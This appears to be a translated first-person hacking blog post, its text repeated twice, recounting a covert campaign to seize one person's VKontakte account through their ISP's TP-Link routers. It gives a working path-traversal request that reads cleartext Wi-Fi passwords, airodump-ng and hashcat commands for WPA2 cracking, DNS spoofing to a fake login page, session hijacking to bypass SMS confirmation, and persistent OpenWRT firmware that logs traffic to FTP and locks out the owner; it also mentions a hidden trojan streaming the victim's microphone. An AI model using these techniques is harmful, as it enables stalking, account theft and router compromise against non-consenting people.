What vulnerabilities in TP-LINK routers can lead to
In fact, this article will discuss not only vulnerabilities in TP-LINK routers, but also how to remotely make a hack station from such routers and what can be achieved with this. And also a little about how it was applied to gain access to the VKontakte page. This is a kind of story of one big hack, which includes all of the above.
It took me once to get access to the VK page of one person, while as invisibly as possible for the user, and I began to look for ways. The first thing that occurred to me was to drop the trojan to the victim, because I had already prepared a hidden TightVNC with a backconnect for my IP + hidden VLC player, which broadcasts the sound from the microphone in real time to my IP as well. However, it was not defined at all as malware on VirusTotal. But the article is not about that at all. As a result, I managed to steal the Trojan, as well as gain access to the VK (just by copying cookies from the victim’s browser), but soon the OS was reinstalled on the user’s computer, and I had to look for another way.
The only thing I knew was which provider the victim had. Well, I started by scanning the entire range of this notorious provider of the city N (for obvious reasons, I won’t call the provider), and I discovered a wonderful thing: port 8080 is open on most hosts. It immediately became clear that this is a web interface router. I already hoped for default admin admin (then it would have been a complete collapse for the provider), but no, I could not find the password, although I still found about a dozen routers where the default password was. It turned out that 90% of all routers are TP-Link TL-WR741ND and less often 740N, 841N, 941ND.
Everything is very clear here: the provider rents the same routers to users, configures them for installation during installation, and it’s just too lazy for users to change these settings. It became more and more interesting. Surely in this case there should be some pattern in the setting, that is, the passwords are probably the same. I decided to google if there were any vulnerabilities in these models and, to my surprise at that time, I found a lot of them. The first thing that caught my eye was the article “Backdoor in TP-LINK routers” .
I immediately decided to check this vulnerability. Files were uploaded to the router, but he did not accept them, and then I began to think about what this nart.out is all about. This is a MIPS binary, which in essence can be any application, you just need to build it. To begin with, I began to look for a ready-made version, because before, I had almost never dealt with cross-compilation. To my surprise, just at that moment another person was interested in this issue: Specx2 (I recommend, by the way, to read his articleabout how to assemble a hack station from a router, which, in fact, I did in the end, only remotely). He managed to find a netcat compiled under MIPS in one of the Chinese forums, by the way, exactly in the section where this vulnerability was discussed. This binary was successfully launched under QEMU, successfully poured into the router through the found backdoor, but, for some reason, it was not possible to connect to the router: it just didn’t have a connection. Comrade Specx2 suggested that the point may be that port 2222 may simply be closed, and you need to somehow make netcat run on another port.
We tried to compile netcat for MIPS ourselves, but failed to set the default port option. Next, we used a disassembler, but just as unsuccessfully. And then I decided to open this binary with the usual Notepad ++, and, to my surprise, I found the coveted 2222 there. This number could easily be changed to any other, the main thing is that the number of characters in the file does not change. The port really changed, everything was tested on QEMU, but we still could not get it to work on the router.
I did not abandon my attempts to gain control of the router and began to look for other vulnerabilities. Soon I came across this post . And indeed: on 841 and 941 models there was a shell at the address
Only here the password from the router still needed to be known, and the users of this provider basically had 741 models. I managed to find a router with a default password and this shell, albeit very truncated. Thus, I got access to the file system of the router. Unfortunately, I could not find anything of value, and the shell did not work correctly. Are developers really doing debugging through it?
It seemed like a dead end, for a long time I did not have a single clue, but something told me that there were still vulnerabilities. And then I found out that the router does not filter GET requests. That is, by default, when the password is entered incorrectly, the / help page opens, but if, for example, we make this request:
Then we will get to the root of the file system of the router. Thus, we can download almost any file from the FS router without even knowing the password. This turned out to be the first successfully working vulnerability of all that I found. But what does it give us if we can only download files and do not know where the password is stored?
After a short search, I still managed to find an interesting file at /tmp/ath0.ap_bss, which stores the Wi-Fi password in clear text. I immediately decided to check it on one of the routers of users of this provider.
As it turned out, people work there quite lazy, and put the same passwords on the web interface of the router and Wi-Fi, so when we learn the Wi-Fi password using this vulnerability, we will automatically recognize the password from the web interface. This is usually 8 digits. Less commonly, numbers with letters. Again, 8. From now on, I could access the router of almost any user who did not change the password set by the provider, and practically no one changed it. True, some routers still had the latest firmware version, and this vulnerability did not work, but there weren’t so many of them. Immediately I found out another interesting point. The SSID of all points contained the second half of the user's internal IP address, and the first was the same for all. It turned out the same as in the personal account on the site, the password was the same. And this second half of the internal IP was the contract number. That is, by the number of the user agreement, it was possible to calculate the internal IP.
Despite the fact that all users had a real external IP (albeit a dynamic one), I decided to raise a VPN server on several of ASUS's routers, where there was a default password. Fortunately, this feature was sewn into the firmware by default. Thus, I got access to the provider's internal network.
But before hacking the VK was still far away. I did not even know the IP victim. Neither external nor internal. There are many ways to find out the external IP, and I did it. Well, let's begin to study. Firstly, he answered ping requests, which is already good. Secondly, I knew that the victim also had a router (this can also be understood by TTL, since the vast majority of users have Windows, and the default TTL of Windows is 128), with the same model for sure. But, to my deep regret, all ports of the victim were closed, and there was no access to the webmord from the outside. But I knew that in any case it is via LAN, but for this we need to connect to this router via a wireless interface, as well as pick up the password for the admin panel, which would be very problematic, because I could not find at that time where it is stored. Although now I already know/ dev / mtdblock3 , but this block is not mounted, so it is impossible to read it through the described vulnerability.
I also learned that the login from the VPN connection for accessing the Internet is the initials and surname of the user or part of it, and the password is the same. I began to think, how can I find the user I need? Maybe I still made the mistake of defining IP that time, and it already managed to change while I tried to connect to the webmord? The first thing that came to mind was a simple enumeration of all routers. But the number of subscribers at the provider is quite large. Having scanned the entire range, I found about 3,000 routers with remote access to the web interface. And it was necessary to somehow find among them the right one, if any.
First, I tried to write a script that would recognize the password using the vulnerability found, and then I would download the network setup page and save it. But I’m weak in this, and, having discarded this idea after a while, I decided to use a regular clicker. With grief in half, I (or rather, the clicker) processed the entire range. Next, I searched the settings files (hoping to find the victim by last name in the login from the vpn connection), but I did not find anything I needed.
I began to dig further and found that any hacked router can scan the access points surrounding it through a web-based interface. Thus, I had a crazy idea: to crack the victim’s neighbor with this vulnerability, so that with his router I could try to crack the victim’s Wi-Fi password and enter the web interface via the LAN, since I’m going a couple of thousand kilometers without confidence success was unreasonable, and there was simply no possibility. But to carry out the plan at that time seemed unthinkable. How to find a neighbor?
Recall that the second part of the internal IP is contained in the SSID. It coincides with the contract number. It would be nice to know the SSID of the user's access point so that you can find it. What I've done? Yes, I just took it and wrote to the technical support of the provider, introducing myself as a user, supposedly I want to pay for the Internet, but I forgot the contract number. And I instantly received an answer, since I knew the name and address. Thus, I recognized the victim’s internal IP, which by the way is static (so it makes no sense to constantly calculate the dynamic external, since there is access to the internal network via VPN on one of the hacked routers). I also got the estimated SSID of this user, so I already had something to work with.
The task was to go into all routers in a row and one of them to find a router with the coveted SSID in the district. The task was again not an easy one, but remember that we have access to your personal account, where the address of the user's residence is indicated. After conducting several experiments, I realized that there is a certain pattern between the internal IP and the user address. That is, it is not necessary that the neighbors will be on the same subnet, but at least in the neighboring ones, for example: 10.168.155.0 and 10.168.158.0. So, finding the user living near the victim by the method of scientific poking, I began to sort through all the routers in the neighboring subnets. As a result, I did not find the coveted SSID, but I found 2 neighbors after seeing their address in my account. My head was exploding: how could it be, I found neighbors, but the right access point is not nearby. Yet she was, just with a changed SSID, and I guessed which one. It turned out to be easy.
Excellent! The router was found, like its neighbors, having spent, however, a lot of time on this. What next? We need to somehow get the password from the wireless network, but for this we need to either intercept the handshake and pick up the password from it (the protection is WPA2-PSK), or pick up the WPS PIN, since WPS is enabled by default, but on most routers it blocked after 10 invalid attempts. How do we even implement at least some of this? Indeed, on the routers of the neighbors there is no specialized software. And then the thought came to reflash their OpenWRT routers, because this firmware is most close to real Linux, and there are also aircrack-ng, reaver and many others packages for it. Comrade Specx2even Bully gathered under it. There was only one problem: how to reflash the router remotely and not lose access to it? After all, after flashing, all settings are reset to default.
I was tormented with this issue for a long time, I thought that it was necessary to collect all the firmware from scratch from the source and somehow pre-drive the settings there, but everything turned out to be much simpler. I did not even know about the existence of OpenWRT Image Builder. I figured it out pretty quickly, but I had to choose the right set of packages, because the volume of the firmware cannot exceed 4MB, and this is small, given the fact that many drag along a big list of dependencies. The next problem was that the user got access to the Internet only after establishing a VPN connection with the provider’s server, but then all the traffic went into the tunnel, and I lost contact with the router. So, may my neighbor forgive me, I left him without an Internet. Having successfully flashed his router (after leaving a couple of dozen users without an Internet in the course of unsuccessful experiments), I immediately transferred the network card of the router to monitor mode
And launched airodump-ng .
Intercepting a handshake was not difficult. I immediately downloaded the dump from the router using SCP
Filtered it from unnecessary packets in Wireshark:
And converted to .hccap format for Hashcat. I prepared a small dictionary in advance, which helped me crack many wireless networks, and I also added all the possible passwords that could be used by this user.
Fortunately, after a couple of seconds the password was found! But you still had to somehow connect to the router in client mode! Only then will the WAN for the neighbor's router change again, and I will lose access to it. I still couldn’t figure out how to solve this problem, so I had to ask a person to make a sacrifice, log in from the phone and open remote access (now I can assume that you just had to add static routes to the firmware in advance). Fortunately, the password from the web-interface turned out to be default admin admin.
Everything went well! I have already prepared a further plan of action. On my real IP without filtering, I raised the DNS server, where I changed the entry for vk.com and changed it to my IP, where the HTTP server with PHP was also raised. There, accordingly, fake was filled in with the vk.com authorization page, and in the router the DNS server was changed to mine. A user, logging on to vk.com, got on my fake, and thus the password was mine, the goal was achieved!
For a long time I used this method to get a password, but once the vaunted login confirmation on vk.com was turned on, which, according to the creators themselves, is almost impossible to get around. The bottom line is that when authorizing from a new device / browser, if you enter the correct password, you must also enter the code from SMS, which is sent to the owner’s number. But for this case, I have long been prepared a theory that has not yet been tested.
First of all, I tried to understand how the server determines that the input is from a new device. Everything turned out to be quite simple: a new Cookie is added to the browser (if my memory serves me, it is called remixttpid), which is transmitted only through an encrypted connection. And by it, the server already determines the browser from which login is allowed. If I am not mistaken, the User-Agent must also match. Thus, it is enough for us to intercept this cookie in order to successfully log in with a known password, but it is rather difficult to do this: we need to pass user traffic through mitmproxy, so that it also logs in at that moment. In addition, the user will notice a browser warning about a certificate mismatch. Why be so perverted, I thought if you can just intercept an existing session? After all, a browser check is performed only at the moment of login, but is not performed for any requests from an existing session! Therefore, we just need to interceptremixsid , which, in addition, is transmitted through an insecure connection, since the user does not use https.
The problem was only that remixsidit matches the user's IP, and if it changes, then cookies for login.vk.com are also used, which are transmitted only through an encrypted connection, and it is more difficult to intercept them. But I got lucky. By that time, the provider began to provide access to the Internet without the need to establish a VPN connection, which means I could just raise my PPTP server and set up a connection to it in the settings of the user’s router. So I did, all the traffic went through me, and the user, without knowing it, created a session attached to my IP, which was intercepted without any problems. Next, I just returned the previous settings and use the intercepted session (the benefit of IP is static). SMS protection successfully broken!
Everything would be fine, but I did not stop there. The fact is that if the user suddenly understands what is the matter, he simply can change the password from the settings of the router and from Wi-Fi. To prevent this, I started building OpenWRT under a user router. It was necessary to foresee everything. For convenient monitoring of victim traffic, I mounted the FTP server as a file system using curlftpfs. Dumps are written there. This whole process is described in this article . Initially, I planned to mount the cloud as a file system, for which I used davfs2 , which was also not easy to build under OpenWRT, but the problem was that the file was written to the cache first, and only then poured into the cloud. Consequently, the file size was limited by the size of the cache, which is extremely small. So I chose curlftpfs. Traffic was recorded using tcpdump and was split into 512MB files.
Where / root / ftp / dump is our ftp file system. All this business can be put in autostart (/etc/rc.local).
In general, the final set of packages for the OpenWRT Attitude Adjustment 12.09 firmware looked like this:
Curlftpfs takes up most of the memory, but gives us an unlimited amount of it per ftp. Tcpdump makes it possible to record the victim’s traffic around the clock, and tinyproxy allows access to the Internet from the victim’s IP, that is, by intercepting remixsid for example, we can also enter the user's VK from his IP using tinyproxy, or we can simply redirect his traffic to his proxy this way:
In general, we can completely steer traffic. You can also install packages on a mounted ftp file system, for this we use opkg –dest , after specifying the name and address for our file system in /etc/opkg.conf . The rest of the configuration must also be pre-registered in the appropriate files.
All these files must be prepared in advance in order to embed them in the firmware. Actually, what does this give us in addition to additional features? But the fact is that the squashfs file system is read-only. Accordingly, the user will not be able to change the default settings that I set in any way. If he wanted to, he won’t even be able to connect via telnet, because there is a line in rc.local , which is sewn into the firmware
That is, access via telnet is chopped off immediately after the router is loaded, and only me has the SSH password. Resetting to default with a physical button will also fail here, because the default is set by me and sewn into the firmware. The goal is achieved.
In connection with the transfer of all users to IPoE in recent times and the abandonment of VPN, all of them turned out to be behind NAT, including routers on which I had a VPN for access to the provider's internal network. In addition to those who have activated the “Static IP” service, of course. But there’s a problem: those who want a real IP should still use a VPN to access the Internet. I had to torment myself and build OpenWRT with a wired and configured PPTP client (and for some reason it works really crookedly), as well as a wired and configured OpenVPN server. Many routers died during the experiments, but the result was ultimately achieved. Having filled in a few routers (of the few remaining with real IP) such firmware, I have stable access to the internal network using OpenVPN.
The problem with connecting PPTP VPN was that the provider's servers do not support encryption. This was fixed by adding a line to /etc/ppp/options.pptp .
Otherwise, the process of setting up the PPTP VPN client and OpenVPN server was no different from the OpenWRT manuals.
I hope this article will be interesting to someone, and someone will learn something new from it.
UPD: As ValdikSS wrote in the comments , instead of curlftpfs + tinyproxy, you can use OpenSSH, which is more functional.
It took me once to get access to the VK page of one person, while as invisibly as possible for the user, and I began to look for ways. The first thing that occurred to me was to drop the trojan to the victim, because I had already prepared a hidden TightVNC with a backconnect for my IP + hidden VLC player, which broadcasts the sound from the microphone in real time to my IP as well. However, it was not defined at all as malware on VirusTotal. But the article is not about that at all. As a result, I managed to steal the Trojan, as well as gain access to the VK (just by copying cookies from the victim’s browser), but soon the OS was reinstalled on the user’s computer, and I had to look for another way.
The only thing I knew was which provider the victim had. Well, I started by scanning the entire range of this notorious provider of the city N (for obvious reasons, I won’t call the provider), and I discovered a wonderful thing: port 8080 is open on most hosts. It immediately became clear that this is a web interface router. I already hoped for default admin admin (then it would have been a complete collapse for the provider), but no, I could not find the password, although I still found about a dozen routers where the default password was. It turned out that 90% of all routers are TP-Link TL-WR741ND and less often 740N, 841N, 941ND.
Everything is very clear here: the provider rents the same routers to users, configures them for installation during installation, and it’s just too lazy for users to change these settings. It became more and more interesting. Surely in this case there should be some pattern in the setting, that is, the passwords are probably the same. I decided to google if there were any vulnerabilities in these models and, to my surprise at that time, I found a lot of them. The first thing that caught my eye was the article “Backdoor in TP-LINK routers” .
I immediately decided to check this vulnerability. Files were uploaded to the router, but he did not accept them, and then I began to think about what this nart.out is all about. This is a MIPS binary, which in essence can be any application, you just need to build it. To begin with, I began to look for a ready-made version, because before, I had almost never dealt with cross-compilation. To my surprise, just at that moment another person was interested in this issue: Specx2 (I recommend, by the way, to read his articleabout how to assemble a hack station from a router, which, in fact, I did in the end, only remotely). He managed to find a netcat compiled under MIPS in one of the Chinese forums, by the way, exactly in the section where this vulnerability was discussed. This binary was successfully launched under QEMU, successfully poured into the router through the found backdoor, but, for some reason, it was not possible to connect to the router: it just didn’t have a connection. Comrade Specx2 suggested that the point may be that port 2222 may simply be closed, and you need to somehow make netcat run on another port.
We tried to compile netcat for MIPS ourselves, but failed to set the default port option. Next, we used a disassembler, but just as unsuccessfully. And then I decided to open this binary with the usual Notepad ++, and, to my surprise, I found the coveted 2222 there. This number could easily be changed to any other, the main thing is that the number of characters in the file does not change. The port really changed, everything was tested on QEMU, but we still could not get it to work on the router.
I did not abandon my attempts to gain control of the router and began to look for other vulnerabilities. Soon I came across this post . And indeed: on 841 and 941 models there was a shell at the address
/userRpmNatDebugRpm26525557/linux_cmdline.html
Only here the password from the router still needed to be known, and the users of this provider basically had 741 models. I managed to find a router with a default password and this shell, albeit very truncated. Thus, I got access to the file system of the router. Unfortunately, I could not find anything of value, and the shell did not work correctly. Are developers really doing debugging through it?
It seemed like a dead end, for a long time I did not have a single clue, but something told me that there were still vulnerabilities. And then I found out that the router does not filter GET requests. That is, by default, when the password is entered incorrectly, the / help page opens, but if, for example, we make this request:
GET IP:port/help/../../
Then we will get to the root of the file system of the router. Thus, we can download almost any file from the FS router without even knowing the password. This turned out to be the first successfully working vulnerability of all that I found. But what does it give us if we can only download files and do not know where the password is stored?
After a short search, I still managed to find an interesting file at /tmp/ath0.ap_bss, which stores the Wi-Fi password in clear text. I immediately decided to check it on one of the routers of users of this provider.
GET IP:8080/help/../../tmp/ath0.ap_bss
As it turned out, people work there quite lazy, and put the same passwords on the web interface of the router and Wi-Fi, so when we learn the Wi-Fi password using this vulnerability, we will automatically recognize the password from the web interface. This is usually 8 digits. Less commonly, numbers with letters. Again, 8. From now on, I could access the router of almost any user who did not change the password set by the provider, and practically no one changed it. True, some routers still had the latest firmware version, and this vulnerability did not work, but there weren’t so many of them. Immediately I found out another interesting point. The SSID of all points contained the second half of the user's internal IP address, and the first was the same for all. It turned out the same as in the personal account on the site, the password was the same. And this second half of the internal IP was the contract number. That is, by the number of the user agreement, it was possible to calculate the internal IP.
Despite the fact that all users had a real external IP (albeit a dynamic one), I decided to raise a VPN server on several of ASUS's routers, where there was a default password. Fortunately, this feature was sewn into the firmware by default. Thus, I got access to the provider's internal network.
But before hacking the VK was still far away. I did not even know the IP victim. Neither external nor internal. There are many ways to find out the external IP, and I did it. Well, let's begin to study. Firstly, he answered ping requests, which is already good. Secondly, I knew that the victim also had a router (this can also be understood by TTL, since the vast majority of users have Windows, and the default TTL of Windows is 128), with the same model for sure. But, to my deep regret, all ports of the victim were closed, and there was no access to the webmord from the outside. But I knew that in any case it is via LAN, but for this we need to connect to this router via a wireless interface, as well as pick up the password for the admin panel, which would be very problematic, because I could not find at that time where it is stored. Although now I already know/ dev / mtdblock3 , but this block is not mounted, so it is impossible to read it through the described vulnerability.
I also learned that the login from the VPN connection for accessing the Internet is the initials and surname of the user or part of it, and the password is the same. I began to think, how can I find the user I need? Maybe I still made the mistake of defining IP that time, and it already managed to change while I tried to connect to the webmord? The first thing that came to mind was a simple enumeration of all routers. But the number of subscribers at the provider is quite large. Having scanned the entire range, I found about 3,000 routers with remote access to the web interface. And it was necessary to somehow find among them the right one, if any.
First, I tried to write a script that would recognize the password using the vulnerability found, and then I would download the network setup page and save it. But I’m weak in this, and, having discarded this idea after a while, I decided to use a regular clicker. With grief in half, I (or rather, the clicker) processed the entire range. Next, I searched the settings files (hoping to find the victim by last name in the login from the vpn connection), but I did not find anything I needed.
I began to dig further and found that any hacked router can scan the access points surrounding it through a web-based interface. Thus, I had a crazy idea: to crack the victim’s neighbor with this vulnerability, so that with his router I could try to crack the victim’s Wi-Fi password and enter the web interface via the LAN, since I’m going a couple of thousand kilometers without confidence success was unreasonable, and there was simply no possibility. But to carry out the plan at that time seemed unthinkable. How to find a neighbor?
Recall that the second part of the internal IP is contained in the SSID. It coincides with the contract number. It would be nice to know the SSID of the user's access point so that you can find it. What I've done? Yes, I just took it and wrote to the technical support of the provider, introducing myself as a user, supposedly I want to pay for the Internet, but I forgot the contract number. And I instantly received an answer, since I knew the name and address. Thus, I recognized the victim’s internal IP, which by the way is static (so it makes no sense to constantly calculate the dynamic external, since there is access to the internal network via VPN on one of the hacked routers). I also got the estimated SSID of this user, so I already had something to work with.
The task was to go into all routers in a row and one of them to find a router with the coveted SSID in the district. The task was again not an easy one, but remember that we have access to your personal account, where the address of the user's residence is indicated. After conducting several experiments, I realized that there is a certain pattern between the internal IP and the user address. That is, it is not necessary that the neighbors will be on the same subnet, but at least in the neighboring ones, for example: 10.168.155.0 and 10.168.158.0. So, finding the user living near the victim by the method of scientific poking, I began to sort through all the routers in the neighboring subnets. As a result, I did not find the coveted SSID, but I found 2 neighbors after seeing their address in my account. My head was exploding: how could it be, I found neighbors, but the right access point is not nearby. Yet she was, just with a changed SSID, and I guessed which one. It turned out to be easy.
Excellent! The router was found, like its neighbors, having spent, however, a lot of time on this. What next? We need to somehow get the password from the wireless network, but for this we need to either intercept the handshake and pick up the password from it (the protection is WPA2-PSK), or pick up the WPS PIN, since WPS is enabled by default, but on most routers it blocked after 10 invalid attempts. How do we even implement at least some of this? Indeed, on the routers of the neighbors there is no specialized software. And then the thought came to reflash their OpenWRT routers, because this firmware is most close to real Linux, and there are also aircrack-ng, reaver and many others packages for it. Comrade Specx2even Bully gathered under it. There was only one problem: how to reflash the router remotely and not lose access to it? After all, after flashing, all settings are reset to default.
I was tormented with this issue for a long time, I thought that it was necessary to collect all the firmware from scratch from the source and somehow pre-drive the settings there, but everything turned out to be much simpler. I did not even know about the existence of OpenWRT Image Builder. I figured it out pretty quickly, but I had to choose the right set of packages, because the volume of the firmware cannot exceed 4MB, and this is small, given the fact that many drag along a big list of dependencies. The next problem was that the user got access to the Internet only after establishing a VPN connection with the provider’s server, but then all the traffic went into the tunnel, and I lost contact with the router. So, may my neighbor forgive me, I left him without an Internet. Having successfully flashed his router (after leaving a couple of dozen users without an Internet in the course of unsuccessful experiments), I immediately transferred the network card of the router to monitor mode
ifconfig wlan0 down
iw reg set BO
iwconfig wlan0 txpower 27
airmon-ng start wlan0
And launched airodump-ng .
airodump-ng mon0 –c номер_канала –bssid MAC_роутера_жертвы –w /tmp/123
Intercepting a handshake was not difficult. I immediately downloaded the dump from the router using SCP
scp –P port user@host:/tmp/123-01.cap ~/123.cap
Filtered it from unnecessary packets in Wireshark:
wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x04 || eapol
And converted to .hccap format for Hashcat. I prepared a small dictionary in advance, which helped me crack many wireless networks, and I also added all the possible passwords that could be used by this user.
oclHashcat64.exe –m2500 –a0 123.hccap wordlist.txt
Fortunately, after a couple of seconds the password was found! But you still had to somehow connect to the router in client mode! Only then will the WAN for the neighbor's router change again, and I will lose access to it. I still couldn’t figure out how to solve this problem, so I had to ask a person to make a sacrifice, log in from the phone and open remote access (now I can assume that you just had to add static routes to the firmware in advance). Fortunately, the password from the web-interface turned out to be default admin admin.
Everything went well! I have already prepared a further plan of action. On my real IP without filtering, I raised the DNS server, where I changed the entry for vk.com and changed it to my IP, where the HTTP server with PHP was also raised. There, accordingly, fake was filled in with the vk.com authorization page, and in the router the DNS server was changed to mine. A user, logging on to vk.com, got on my fake, and thus the password was mine, the goal was achieved!
For a long time I used this method to get a password, but once the vaunted login confirmation on vk.com was turned on, which, according to the creators themselves, is almost impossible to get around. The bottom line is that when authorizing from a new device / browser, if you enter the correct password, you must also enter the code from SMS, which is sent to the owner’s number. But for this case, I have long been prepared a theory that has not yet been tested.
First of all, I tried to understand how the server determines that the input is from a new device. Everything turned out to be quite simple: a new Cookie is added to the browser (if my memory serves me, it is called remixttpid), which is transmitted only through an encrypted connection. And by it, the server already determines the browser from which login is allowed. If I am not mistaken, the User-Agent must also match. Thus, it is enough for us to intercept this cookie in order to successfully log in with a known password, but it is rather difficult to do this: we need to pass user traffic through mitmproxy, so that it also logs in at that moment. In addition, the user will notice a browser warning about a certificate mismatch. Why be so perverted, I thought if you can just intercept an existing session? After all, a browser check is performed only at the moment of login, but is not performed for any requests from an existing session! Therefore, we just need to interceptremixsid , which, in addition, is transmitted through an insecure connection, since the user does not use https.
The problem was only that remixsidit matches the user's IP, and if it changes, then cookies for login.vk.com are also used, which are transmitted only through an encrypted connection, and it is more difficult to intercept them. But I got lucky. By that time, the provider began to provide access to the Internet without the need to establish a VPN connection, which means I could just raise my PPTP server and set up a connection to it in the settings of the user’s router. So I did, all the traffic went through me, and the user, without knowing it, created a session attached to my IP, which was intercepted without any problems. Next, I just returned the previous settings and use the intercepted session (the benefit of IP is static). SMS protection successfully broken!
Everything would be fine, but I did not stop there. The fact is that if the user suddenly understands what is the matter, he simply can change the password from the settings of the router and from Wi-Fi. To prevent this, I started building OpenWRT under a user router. It was necessary to foresee everything. For convenient monitoring of victim traffic, I mounted the FTP server as a file system using curlftpfs. Dumps are written there. This whole process is described in this article . Initially, I planned to mount the cloud as a file system, for which I used davfs2 , which was also not easy to build under OpenWRT, but the problem was that the file was written to the cache first, and only then poured into the cloud. Consequently, the file size was limited by the size of the cache, which is extremely small. So I chose curlftpfs. Traffic was recorded using tcpdump and was split into 512MB files.
tcpdump -i br-lan -w /root/ftp/dump/`date +"%d_%m_%Y_%T_"` -C 512Mb &
Where / root / ftp / dump is our ftp file system. All this business can be put in autostart (/etc/rc.local).
In general, the final set of packages for the OpenWRT Attitude Adjustment 12.09 firmware looked like this:
make image PROFILE=TLWR740 PACKAGES="curlftpfs tcpdump tinyproxy wireless-tools -ppp -ppp-mod-pppoe" FILES=files/
Curlftpfs takes up most of the memory, but gives us an unlimited amount of it per ftp. Tcpdump makes it possible to record the victim’s traffic around the clock, and tinyproxy allows access to the Internet from the victim’s IP, that is, by intercepting remixsid for example, we can also enter the user's VK from his IP using tinyproxy, or we can simply redirect his traffic to his proxy this way:
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to ip:port
In general, we can completely steer traffic. You can also install packages on a mounted ftp file system, for this we use opkg –dest , after specifying the name and address for our file system in /etc/opkg.conf . The rest of the configuration must also be pre-registered in the appropriate files.
/etc/firewall.user
/etc/config/firewall
/etc/config/network
/etc/config/system
/etc/config/wireless
/etc/rc.local
и др.
All these files must be prepared in advance in order to embed them in the firmware. Actually, what does this give us in addition to additional features? But the fact is that the squashfs file system is read-only. Accordingly, the user will not be able to change the default settings that I set in any way. If he wanted to, he won’t even be able to connect via telnet, because there is a line in rc.local , which is sewn into the firmware
echo –e “pass\npass” | passwd root
That is, access via telnet is chopped off immediately after the router is loaded, and only me has the SSH password. Resetting to default with a physical button will also fail here, because the default is set by me and sewn into the firmware. The goal is achieved.
In connection with the transfer of all users to IPoE in recent times and the abandonment of VPN, all of them turned out to be behind NAT, including routers on which I had a VPN for access to the provider's internal network. In addition to those who have activated the “Static IP” service, of course. But there’s a problem: those who want a real IP should still use a VPN to access the Internet. I had to torment myself and build OpenWRT with a wired and configured PPTP client (and for some reason it works really crookedly), as well as a wired and configured OpenVPN server. Many routers died during the experiments, but the result was ultimately achieved. Having filled in a few routers (of the few remaining with real IP) such firmware, I have stable access to the internal network using OpenVPN.
The problem with connecting PPTP VPN was that the provider's servers do not support encryption. This was fixed by adding a line to /etc/ppp/options.pptp .
nomppe
Otherwise, the process of setting up the PPTP VPN client and OpenVPN server was no different from the OpenWRT manuals.
I hope this article will be interesting to someone, and someone will learn something new from it.
UPD: As ValdikSS wrote in the comments , instead of curlftpfs + tinyproxy, you can use OpenSSH, which is more functional.